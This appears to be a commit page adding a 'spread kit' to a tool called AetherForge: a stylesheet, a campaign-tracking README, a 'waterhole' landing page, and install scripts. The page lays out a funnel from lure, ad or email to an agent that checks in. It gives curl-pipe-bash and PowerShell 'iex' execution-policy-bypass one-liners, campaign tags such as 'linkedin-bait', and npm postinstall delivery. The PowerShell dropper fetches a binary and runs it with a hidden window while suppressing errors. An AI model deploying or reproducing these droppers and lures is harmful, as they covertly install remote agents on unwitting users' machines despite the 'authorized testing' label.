feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -0,0 +1,487 @@
/* AetherForge spread kit — dark aether theme (aligned with command-deck operator deck) */
:root {
/* Operator deck card chrome (mirrors server/web/src/styles/operatorDeck.css) */
--deck-card-bg: linear-gradient(145deg, rgba(18, 22, 31, 0.96) 0%, rgba(13, 16, 24, 0.99) 100%);
--deck-card-border: #252d3d;
--deck-card-radius: 8px;
--deck-card-padding: 1.25rem;
--deck-card-shadow: 0 4px 24px #00000066;
--deck-card-glow: #ff6b2c22;
--deck-card-accent-bar: var(--ember);
--deck-accent: var(--ember);
--deck-accent-dim: #ff6b2c55;
--deck-accent-glow: var(--ember-glow);
--deck-accent-bg: rgba(255, 107, 44, 0.06);
--deck-interactive-outline: var(--deck-accent-dim);
--deck-interactive-glow: var(--deck-accent-glow);
--bg: #07090e;
--bg-elevated: #0d1118;
--panel: #12161f;
--panel-hover: #181e2a;
--border: #252d3d;
--border-bright: #3a4558;
--text: #e8dcc8;
--muted: #8a7f6e;
--dim: #5c5548;
--ember: #ff6b2c;
--ember-glow: #ff6b2c44;
--cyan: #3dd6c6;
--cyan-dim: #2a9d92;
--gold: #c9a227;
--violet: #9b7fd4;
--win: #00e5ff;
--nix: #a3e635;
--mac: #f0abfc;
--radius: 8px;
--radius-sm: 4px;
--font-serif: Georgia, 'Times New Roman', serif;
--font-mono: ui-monospace, 'Cascadia Code', 'SF Mono', monospace;
--font-sans: system-ui, -apple-system, 'Segoe UI', sans-serif;
--shadow: 0 4px 24px #00000066;
--max: 920px;
}
*, *::before, *::after { box-sizing: border-box; }
html { scroll-behavior: smooth; }
body {
margin: 0;
min-height: 100vh;
font-family: var(--font-serif);
background:
radial-gradient(ellipse 80% 50% at 15% -10%, #1f1830 0%, transparent 55%),
radial-gradient(ellipse 60% 40% at 90% 10%, #0f1a28 0%, transparent 50%),
var(--bg);
color: var(--text);
line-height: 1.65;
}
a { color: var(--cyan); text-decoration-thickness: 1px; }
a:hover { color: var(--ember); }
/* Layout */
.shell { max-width: var(--max); margin: 0 auto; padding: 0 1.25rem 4rem; }
.topnav {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: space-between;
gap: 0.75rem;
padding: 1.25rem 0;
border-bottom: 1px solid var(--border);
margin-bottom: 2rem;
}
.brand {
font-family: var(--font-mono);
font-size: 0.8rem;
letter-spacing: 0.18em;
text-transform: uppercase;
color: var(--gold);
text-decoration: none;
}
.brand:hover { color: var(--ember); }
.nav-links {
display: flex;
flex-wrap: wrap;
gap: 0.5rem 1rem;
font-family: var(--font-mono);
font-size: 0.75rem;
}
.nav-links a { color: var(--muted); text-decoration: none; }
.nav-links a:hover { color: var(--text); }
/* Hero */
.hero {
text-align: center;
padding: 2rem 0 2.5rem;
}
.eyebrow {
font-family: var(--font-mono);
font-size: 0.7rem;
letter-spacing: 0.22em;
text-transform: uppercase;
color: var(--gold);
margin: 0 0 0.75rem;
}
.hero h1 {
font-size: clamp(1.6rem, 4vw, 2.25rem);
margin: 0 0 1rem;
font-weight: 400;
line-height: 1.25;
}
.lede {
color: var(--muted);
max-width: 36rem;
margin: 0 auto;
font-size: 1.05rem;
}
/* Sections — operator deck card chrome */
.section {
margin-bottom: 2.5rem;
position: relative;
padding: var(--deck-card-padding);
border-radius: var(--deck-card-radius);
border: 1px solid var(--deck-card-border);
background: var(--deck-card-bg);
box-shadow: var(--deck-card-shadow), 0 0 28px -14px var(--deck-card-glow);
transition: border-color 0.22s ease, box-shadow 0.28s ease;
}
.section::after {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 2px;
border-radius: var(--deck-card-radius) var(--deck-card-radius) 0 0;
background: linear-gradient(90deg, var(--deck-card-accent-bar), transparent 72%);
opacity: 0.65;
pointer-events: none;
}
.section:hover {
border-color: color-mix(in srgb, var(--deck-card-border) 55%, var(--deck-accent));
box-shadow: var(--deck-card-shadow), 0 0 32px -10px var(--deck-accent-glow);
}
.section h2 {
font-size: 1.15rem;
font-weight: 400;
margin: 0 0 1rem;
padding-bottom: 0.5rem;
border-bottom: 1px solid var(--border);
font-family: var(--font-mono);
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--text);
}
.section h3 {
font-size: 1rem;
margin: 1.25rem 0 0.5rem;
color: var(--cyan);
font-weight: 400;
}
.section p { margin: 0 0 0.75rem; color: var(--muted); }
/* Steps */
.steps {
display: grid;
gap: 1rem;
counter-reset: step;
}
@media (min-width: 640px) {
.steps { grid-template-columns: repeat(3, 1fr); }
}
.step {
background: var(--panel);
border: 1px solid var(--border);
border-radius: var(--deck-card-radius);
padding: var(--deck-card-padding);
position: relative;
box-shadow: var(--deck-card-shadow);
transition: border-color 0.2s ease, box-shadow 0.25s ease, outline-color 0.2s ease;
outline: 1px solid transparent;
outline-offset: 2px;
}
.step:hover {
border-color: color-mix(in srgb, var(--border) 55%, var(--deck-accent));
box-shadow: var(--deck-card-shadow), 0 0 22px -6px var(--deck-accent-glow);
outline-color: var(--deck-interactive-outline);
}
.step::before {
counter-increment: step;
content: counter(step);
display: block;
font-family: var(--font-mono);
font-size: 0.7rem;
color: var(--ember);
letter-spacing: 0.1em;
margin-bottom: 0.5rem;
}
.step strong {
display: block;
color: var(--text);
margin-bottom: 0.35rem;
font-size: 0.95rem;
}
.step span { font-size: 0.85rem; color: var(--muted); }
/* How it works flow */
.flow {
display: flex;
flex-wrap: wrap;
align-items: center;
justify-content: center;
gap: 0.5rem 0.25rem;
padding: 1.25rem;
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: var(--radius);
font-family: var(--font-mono);
font-size: 0.78rem;
color: var(--muted);
}
.flow-node {
padding: 0.4rem 0.75rem;
background: var(--panel);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
color: var(--text);
}
.flow-arrow { color: var(--dim); }
/* Platform cards */
.platform-grid {
display: grid;
gap: 0.85rem;
}
@media (min-width: 520px) {
.platform-grid { grid-template-columns: repeat(2, 1fr); }
}
.platform-card {
display: flex;
flex-direction: column;
gap: 0.5rem;
padding: 1.1rem 1.2rem;
background: var(--panel);
border: 1px solid var(--border);
border-radius: var(--radius);
transition: border-color 0.2s, box-shadow 0.2s;
}
.platform-card:hover {
border-color: var(--border-bright);
box-shadow: var(--shadow);
}
.platform-card header {
display: flex;
align-items: center;
gap: 0.5rem;
}
.platform-icon {
width: 3px;
height: 1.4rem;
border-radius: 2px;
flex-shrink: 0;
}
.platform-icon--win { background: var(--win); }
.platform-icon--nix { background: var(--nix); }
.platform-icon--mac { background: var(--mac); }
.platform-icon--srv { background: var(--gold); }
.platform-card h3 {
margin: 0;
font-size: 0.95rem;
font-family: var(--font-mono);
color: var(--text);
}
.platform-card p {
margin: 0;
font-size: 0.82rem;
flex: 1;
}
.btn {
display: block;
text-align: center;
padding: 0.75rem 1rem;
border-radius: var(--radius-sm);
text-decoration: none;
font-family: var(--font-mono);
font-size: 0.82rem;
border: 1px solid var(--border);
background: var(--bg-elevated);
color: var(--text);
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
cursor: pointer;
}
.btn:hover {
border-color: var(--ember);
box-shadow: 0 0 20px var(--ember-glow);
color: var(--text);
}
.btn.primary {
border-color: var(--ember);
background: #1a120e;
}
.btn-win { border-left: 3px solid var(--win); }
.btn-nix { border-left: 3px solid var(--nix); }
.btn-mac { border-left: 3px solid var(--mac); }
.btn-dl { border-left: 3px solid var(--gold); }
/* Code blocks */
code, pre {
font-family: var(--font-mono);
font-size: 0.78rem;
}
code.inline {
display: inline;
padding: 0.15rem 0.4rem;
background: var(--bg-elevated);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
color: var(--cyan);
word-break: break-word;
}
.codeblock {
display: block;
margin: 0.5rem 0 0;
padding: 0.85rem 1rem;
background: #080b12;
border: 1px solid var(--border);
border-radius: var(--radius-sm);
color: var(--cyan);
word-break: break-all;
white-space: pre-wrap;
line-height: 1.5;
}
/* Info cards */
.info-grid {
display: grid;
gap: 1rem;
}
@media (min-width: 600px) {
.info-grid--2 { grid-template-columns: repeat(2, 1fr); }
}
.info-card {
background: var(--panel);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 1.1rem 1.2rem;
}
.info-card h3 {
margin: 0 0 0.5rem;
font-size: 0.9rem;
color: var(--text);
}
.info-card ul {
margin: 0;
padding-left: 1.1rem;
font-size: 0.85rem;
color: var(--muted);
}
.info-card li { margin-bottom: 0.35rem; }
.info-card--ember { border-left: 3px solid var(--ember); }
.info-card--cyan { border-left: 3px solid var(--cyan); }
.info-card--gold { border-left: 3px solid var(--gold); }
.info-card--violet { border-left: 3px solid var(--violet); }
/* Tables */
.table-wrap { overflow-x: auto; margin: 0.75rem 0; }
table {
width: 100%;
border-collapse: collapse;
font-size: 0.82rem;
font-family: var(--font-sans);
}
th, td {
text-align: left;
padding: 0.55rem 0.75rem;
border: 1px solid var(--border);
}
th {
background: var(--bg-elevated);
color: var(--text);
font-family: var(--font-mono);
font-size: 0.72rem;
letter-spacing: 0.05em;
text-transform: uppercase;
}
td { color: var(--muted); }
/* CMS steps */
.cms-list {
list-style: none;
margin: 0;
padding: 0;
}
.cms-list li {
margin-bottom: 1rem;
padding: 1rem 1.1rem;
background: var(--panel);
border: 1px solid var(--border);
border-radius: var(--radius);
}
.cms-list strong {
display: block;
font-family: var(--font-mono);
font-size: 0.85rem;
color: var(--text);
margin-bottom: 0.35rem;
}
.cms-list p {
margin: 0;
font-size: 0.85rem;
}
/* Footer */
.fine {
font-size: 0.82rem;
color: var(--dim);
text-align: center;
padding-top: 2rem;
border-top: 1px solid var(--border);
margin-top: 1rem;
}
.fine p { margin: 0 0 0.5rem; }
.tag {
display: inline-block;
font-family: var(--font-mono);
font-size: 0.68rem;
letter-spacing: 0.08em;
text-transform: uppercase;
padding: 0.2rem 0.45rem;
border: 1px solid var(--border);
border-radius: var(--radius-sm);
color: var(--gold);
margin-right: 0.35rem;
}

View File

@@ -0,0 +1,20 @@
# Campaign tracking (`?c=`)
Append `?c=your-campaign-slug` to any waterhole or server dropper URL. Hits are logged server-side; agents that install via the script inherit `AETHER_CAMPAIGN` and report it on first connect.
## Examples
| Link | Use |
|------|-----|
| `https://yoursite.example/page?c=linkedin-bait` | Static page with `index.html` reading `location.search` |
| `{{SERVER_URL}}/get?c=usb-drop` | Direct binary fetch |
| `{{SERVER_URL}}/install.ps1?c=vps-curl` | PowerShell one-liner |
| `{{SERVER_URL}}/get?pin=BUILD_ID&c=ab-test-b` | A/B pinned build + campaign |
## A/B rotation
Pin build **A** in Builds → copy `?pin=<id-a>&c=wave-a`. Pin build **B** for the next wave. Emberwake tab builds these links for you.
## Slug rules
Alphanumeric, dash, underscore, dot — max 64 chars. Avoid spaces.

View File

@@ -0,0 +1,293 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="AetherForge spread kit — static waterhole landing for authorized red-team and lab distribution." />
<title>AetherForge Spread Kit</title>
<link rel="stylesheet" href="assets/aether.css" />
</head>
<body>
<main class="shell">
<nav class="topnav">
<a class="brand" href="#">Spread Kit</a>
<div class="nav-links">
<a href="#install">Install</a>
<a href="#campaigns">Campaigns</a>
<a href="#cms">CMS upload</a>
<a href="#plugins">Plugins</a>
<a href="/docs/SPREAD_TECHNIQUES.md">Docs wiki</a>
</div>
</nav>
<header class="hero">
<p class="eyebrow">AetherForge · Emberwake</p>
<h1>Spread kit — static waterhole landing</h1>
<p class="lede">
Upload this folder to any host you control. Visitors pick their platform; installers pull from your
command-deck server with optional campaign and build-pin tracking.
</p>
</header>
<section class="section" id="how">
<h2>How it works</h2>
<div class="flow" aria-label="Spread funnel">
<span class="flow-node">Lure / ad / email</span>
<span class="flow-arrow"></span>
<span class="flow-node">Your static page</span>
<span class="flow-arrow"></span>
<span class="flow-node">install.ps1 / .sh / .command</span>
<span class="flow-arrow"></span>
<span class="flow-node">Server <code class="inline">/get</code></span>
<span class="flow-arrow"></span>
<span class="flow-node">Agent checks in</span>
</div>
<p style="margin-top: 1rem;">
The page does not host binaries — it only links to your AetherForge server dropper endpoints.
Campaign tags flow from the URL into installer scripts and appear in the fleet dashboard on first connect.
</p>
</section>
<section class="section" id="steps">
<h2>Operator — 3 steps</h2>
<div class="steps">
<article class="step">
<strong>Forge &amp; pin</strong>
<span>
Build an installer in the command deck. Pin the build you want for this wave (Builds → pin).
Note the build UUID for A/B tests.
</span>
</article>
<article class="step">
<strong>Export or sync</strong>
<span>
Emberwake → set server URL + campaign → <em>Export spread kit ZIP</em>, or copy
<code class="inline">spread-kit-web-publisher/</code> and replace placeholders.
Upload all files to your static host root or subpath.
</span>
</article>
<article class="step">
<strong>Share with tracking</strong>
<span>
Distribute <code class="inline">https://yoursite/page?c=campaign-slug</code>.
Watch hits under Emberwake → Campaign hits and agent <code class="inline">campaign</code> metadata.
</span>
</article>
</div>
</section>
<section class="section" id="install">
<h2>Platform install</h2>
<p>Auto-highlights your OS. All links include configured server URL and query suffix from export.</p>
<div class="platform-grid" id="actions">
<article class="platform-card">
<header>
<span class="platform-icon platform-icon--win" aria-hidden="true"></span>
<h3>Windows</h3>
</header>
<p>PowerShell dropper — downloads pinned build or latest Windows artifact via <code class="inline">/get?os=windows</code>.</p>
<a class="btn btn-win" id="btn-win" data-installer="install.ps1" href="install.ps1{{QUERY_SUFFIX}}">Run install.ps1</a>
</article>
<article class="platform-card">
<header>
<span class="platform-icon platform-icon--nix" aria-hidden="true"></span>
<h3>Linux</h3>
</header>
<p>Shell dropper for desktops and servers — pipes <code class="inline">install.sh</code> from your command deck.</p>
<a class="btn btn-nix" id="btn-nix" data-installer="install.sh" href="install.sh{{QUERY_SUFFIX}}">Run install.sh</a>
</article>
<article class="platform-card">
<header>
<span class="platform-icon platform-icon--mac" aria-hidden="true"></span>
<h3>macOS</h3>
</header>
<p>Double-click <code class="inline">.command</code> or curl one-liner; same pipeline as Linux with macOS UA routing.</p>
<a class="btn btn-mac" id="btn-mac" data-installer="install.command" href="install.command{{QUERY_SUFFIX}}">Run install.command</a>
</article>
<article class="platform-card">
<header>
<span class="platform-icon platform-icon--srv" aria-hidden="true"></span>
<h3>Server (curl)</h3>
</header>
<p>Headless VPS / CI — paste in SSH session. No browser required.</p>
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct /get download</a>
</article>
</div>
<h3>One-liners</h3>
<p class="form-hint" style="color: var(--muted); margin: 0 0 0.5rem;">Copy for docs pages, tickets, or IRC.</p>
<code class="codeblock" id="oneliner-bash">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
<code class="codeblock" id="oneliner-ps1" style="margin-top: 0.5rem;">powershell -ep bypass -c "iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')"</code>
</section>
<section class="section" id="campaigns">
<h2>Campaign tracking</h2>
<p>
Append query parameters to any waterhole URL, dropper script URL, or <code class="inline">/get</code> link.
The server logs the hit; agents inherit the campaign on install.
</p>
<div class="info-grid info-grid--2">
<article class="info-card info-card--ember">
<h3><code class="inline">?c=</code> campaign slug</h3>
<ul>
<li>Tags the funnel wave — e.g. <code class="inline">?c=linkedin-bait</code></li>
<li>Shown in Emberwake → Campaign hits</li>
<li>Stored on agent as <code class="inline">campaign</code> metadata</li>
<li>Slug: alphanumeric, dash, underscore, dot — max 64 chars</li>
</ul>
</article>
<article class="info-card info-card--cyan">
<h3><code class="inline">?pin=</code> build UUID</h3>
<ul>
<li>Locks dropper to a specific forged build</li>
<li>Use for A/B: pin build A, share <code class="inline">?pin=&lt;uuid-a&gt;&amp;c=wave-a</code></li>
<li>Combine with <code class="inline">?c=</code>: <code class="inline">?pin=…&amp;c=…</code></li>
<li>Emberwake campaign builder copies ready-made links</li>
</ul>
</article>
</div>
<div class="table-wrap">
<table>
<thead>
<tr><th>Example URL</th><th>Use</th></tr>
</thead>
<tbody>
<tr>
<td><code class="inline">https://yoursite.example/?c=usb-drop</code></td>
<td>Static page; scripts read <code class="inline">location.search</code></td>
</tr>
<tr>
<td><code class="inline">{{SERVER_URL}}/get?c=docs-footer</code></td>
<td>Direct binary fetch with attribution</td>
</tr>
<tr>
<td><code class="inline">{{SERVER_URL}}/install.ps1?pin={{BUILD_ID}}&amp;c=ab-test-b</code></td>
<td>Pinned build + campaign on PS1 one-liner</td>
</tr>
</tbody>
</table>
</div>
<p>
<span class="tag">Tip</span>
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
Full matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
</p>
</section>
<section class="section" id="cms">
<h2>CMS &amp; static host upload</h2>
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
<ol class="cms-list">
<li>
<strong>WordPress — Custom HTML block</strong>
<p>
Pages → Add block → <em>Custom HTML</em>. Upload <code class="inline">index.html</code> assets via Media Library
or paste a trimmed hero + platform section. Host <code class="inline">install.ps1</code> / <code class="inline">install.sh</code>
in the same directory via SFTP or a child theme <code class="inline">/spread/</code> folder. Link buttons to absolute
URLs on that path. Keep <code class="inline">assets/aether.css</code> relative.
</p>
</li>
<li>
<strong>Cloudflare Pages</strong>
<p>
Create project → connect repo or drag-drop ZIP → set build output to kit root.
Publish at <code class="inline">pages.dev</code> or your zone CNAME. No server config — pure static.
Optional: Workers in front for geo/UA gate (see docs wiki).
</p>
</li>
<li>
<strong>Amazon S3 + CloudFront</strong>
<p>
Create bucket → enable static website or OAI to CloudFront → upload all kit files preserving
<code class="inline">assets/</code> path. Set <code class="inline">index.html</code> as default root object.
Invalidate cache after each Emberwake export. Use a separate bucket from command-deck artifacts.
</p>
</li>
</ol>
<p>
After upload, test each platform button and verify campaign hits in Emberwake when appending
<code class="inline">?c=test</code> to the live URL.
</p>
</section>
<section class="section" id="plugins">
<h2>Plugin supply chain (owned extension)</h2>
<p>
For browser, editor, <strong>WordPress</strong>, or <strong>npm</strong> packages you <em>publish</em>, ship a
legitimate update package that points download/install flows at <em>your</em> server — not third-party registry hijacking.
</p>
<div class="info-card info-card--violet">
<h3>High-level pattern</h3>
<ul>
<li><strong>WordPress (owned site):</strong> Emberwake → <em>Export WordPress Plugin ZIP</em> → upload on your WP host. Plugin links to <code class="inline">/get?c=wp-{site}</code>. <a href="/docs/#wordpress-plugin-supply-chain">Docs wiki §</a></li>
<li><strong>npm (your registry):</strong> Emberwake → <em>Export npm package template ZIP</em> → publish privately; <code class="inline">postinstall</code> curls <code class="inline">install.sh</code>. <a href="/docs/#npm-postinstall-helper">Docs wiki §</a></li>
<li><strong>Host your own plugin ZIP</strong> on the same static origin as this kit (or GitHub Releases you control).</li>
<li>Manifest / update URL fields reference your <code class="inline">install.ps1</code> or <code class="inline">/get</code> endpoint with <code class="inline">?c=plugin-update</code>.</li>
<li>Extension logic opens your spread landing or triggers the platform dropper — user still confirms install (modern browsers block silent sideload).</li>
<li>Rotate update manifests between waves; pin builds with <code class="inline">?pin=</code> for staged rollouts.</li>
<li>Keep signing keys and update XML on infrastructure separate from the command-deck process when possible.</li>
</ul>
</div>
<p>
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
<em>you</em> operate. See
<a href="/docs/SPREAD_TECHNIQUES.md#third-party-platforms">third-party platforms</a> in the docs wiki for risk notes.
</p>
</section>
<footer class="fine">
<p>
Command-deck copy: <a href="/spread/">/spread/</a> ·
Docs: <a href="/docs/">/docs/</a> ·
Export fresh kits from <strong>Emberwake</strong> after each forge.
</p>
<p>AetherForge — authorized testing and lab use only.</p>
</footer>
</main>
<script>
(function () {
var SERVER = '{{SERVER_URL}}';
if (SERVER.indexOf('{{') === 0) {
SERVER = window.location.origin;
}
var pageQs = window.location.search || '';
var suffix = '{{QUERY_SUFFIX}}';
if (suffix.indexOf('{{') === 0) {
suffix = pageQs;
} else if (pageQs && suffix.indexOf('?') !== 0) {
suffix = pageQs;
}
function withSuffix(path) {
if (!suffix) return path;
if (path.indexOf('?') >= 0) return path + suffix.replace('?', '&');
return path + suffix;
}
document.querySelectorAll('[data-installer]').forEach(function (el) {
var file = el.getAttribute('data-installer');
el.href = file + (suffix || '');
});
var dl = document.getElementById('btn-dl');
if (dl) dl.href = withSuffix(SERVER + '/get');
var bash = document.getElementById('oneliner-bash');
var ps1 = document.getElementById('oneliner-ps1');
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
if (ps1) ps1.textContent = 'powershell -ep bypass -c "iex (irm \'' + SERVER + '/install.ps1' + suffix + '\')"';
var ua = navigator.userAgent || '';
var win = /windows/i.test(ua);
var mac = /macintosh|mac os x/i.test(ua);
var nix = /linux/i.test(ua) && !/android/i.test(ua);
var primary = win ? 'btn-win' : mac ? 'btn-mac' : nix ? 'btn-nix' : null;
if (primary) {
var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary');
}
})();
</script>
</body>
</html>

View File

@@ -0,0 +1,5 @@
#!/bin/bash
# macOS double-click launcher — chmod +x install.command
export AETHER_CAMPAIGN='{{CAMPAIGN}}'
export AETHER_UTM='{{CAMPAIGN}}'
curl -sL '{{SERVER_URL}}/install.command{{QUERY_SUFFIX}}' | bash

View File

@@ -0,0 +1,27 @@
# AetherForge waterhole dropper — upload as install.ps1 beside index.html
# Placeholders filled by POST /api/v1/builder/spread-kit-export
$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'
if ('{{CAMPAIGN}}' -ne '') {
$env:AETHER_CAMPAIGN = '{{CAMPAIGN}}'
$env:AETHER_UTM = '{{CAMPAIGN}}'
}
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())
try { (New-Object Net.WebClient).DownloadFile($url, $tmp) } catch { exit 0 }
if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }
$bytes = [System.IO.File]::ReadAllBytes($tmp)
$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B
if ($isZip) {
$dir = $tmp + '_bundle'
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)
foreach ($name in @('Start.bat','Deploy.bat','start.bat','deploy.bat')) {
$c = Join-Path $dir $name
if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList "/c `"$c`"" -WindowStyle Hidden; break }
}
} else {
$exe = $tmp + '.exe'
Move-Item -Path $tmp -Destination $exe -Force
Start-Process -FilePath $exe -WindowStyle Hidden
}

View File

@@ -0,0 +1,5 @@
#!/bin/sh
# AetherForge waterhole dropper — curl | bash one-liner target
export AETHER_CAMPAIGN='{{CAMPAIGN}}'
export AETHER_UTM='{{CAMPAIGN}}'
curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash